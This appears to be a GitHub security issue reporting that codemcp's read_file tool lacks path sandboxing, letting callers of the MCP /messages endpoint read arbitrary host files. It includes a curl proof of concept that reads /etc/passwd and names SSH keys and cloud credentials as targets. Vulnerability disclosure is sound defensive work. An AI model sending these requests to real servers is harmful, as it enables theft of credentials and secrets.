Skip to content

Security: Arbitrary Local File Read via read_file (no sandbox / ACL) #315

@Jay17-git

Description

@Jay17-git

Security: Arbitrary Local File Read via read_file (no sandbox / ACL)

Project: https://github.com/ezyang/codemcp

Component: codemcp/tools/read_file.py

Type: LFR / Local File Read (arbitrary file read)

Severity: High (see “Impact & CVSS”)

Summary

The read_file tool normalizes the incoming path but does not restrict it to any project root, Git repo, or allowlist. Anyone who can reach the MCP /messages endpoint can use tools/callread_file to read arbitrary files on the host/container, e.g. /etc/passwd, ~/.ssh/*, application secrets, etc.

This contrasts with write paths, which do go through permission checks (e.g., check_file_path_and_permissions / check_edit_permission) before touching files.


Affected code

  • codemcp/tools/read_file.py
    • Uses normalize_file_path(path) and then reads the file. It only enforces size/line limits and basic existence checks; there is no access control/sandbox restriction.
  • codemcp/common.py
    • normalize_file_path(file_path: str) expands ~ and returns an absolute path (joining CWD for relative inputs) — no sandboxing to a project root/Git repo.
  • Contrast (evidence of expected pattern for write paths):
    • codemcp/tools/write_file.py calls check_file_path_and_permissions → which calls check_edit_permission to ensure the target is inside a Git repo with codemcp.toml. The read path lacks an analogous check.

Impact & CVSS

  • If /messages is reachable (e.g., bound to a non-localhost interface, or reachable over a trusted network/tunnel), an unauthenticated caller can read arbitrary files on the host.
  • Example sensitive targets: /etc/passwd, ~/.ssh/*, app config, API keys, cloud credentials.
  • CVSS v3.1 (network-reachable scenario): 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Proof of Concept (PoC)

Start the server (example):

Session ID example: ?session_id=77fc07bcf93c4efe96ee8c15c987c1f9

  1. Initialize:
curl -sS -L -X POST 'http://127.0.0.1:8002/messages?session_id=77fc07bcf93c4efe96ee8c15c987c1f9' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{}}}'
  1. (Optional) Client initialized notification:
curl -sS -L -X POST 'http://127.0.0.1:8002/messages?session_id=77fc07bcf93c4efe96ee8c15c987c1f9' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}'
  1. Read an arbitrary file (e.g., /etc/passwd):
curl -sS -L -X POST 'http://127.0.0.1:8002/messages?session_id=77fc07bcf93c4efe96ee8c15c987c1f9' \
  -H 'Content-Type: application/json' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"read_file","arguments":{"path":"/etc/passwd"}}}'

Expected result: the file content is returned (screenshot omitted here; can be attached).

image-20251104095539515

image-20251104155830429


Root cause

  • read_file normalizes the path and reads it; no check that the path is within a safe root (e.g., Git repo base dir) and no allowlist enforcement.
  • normalize_file_path only expands ~ and absolutizes the path. It does not sandbox.
  • Write-side code shows the intended security model (inside repo with codemcp.toml), but read-side does not adopt it.

Environment

  • codemcp: current main (also reproducible on latest prod ref)
  • Python 3.13 via uv
  • OS: Linux (container & bare-metal)

Timeline

  • 2025-11-04 JST – discovered, verified, and reported here.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions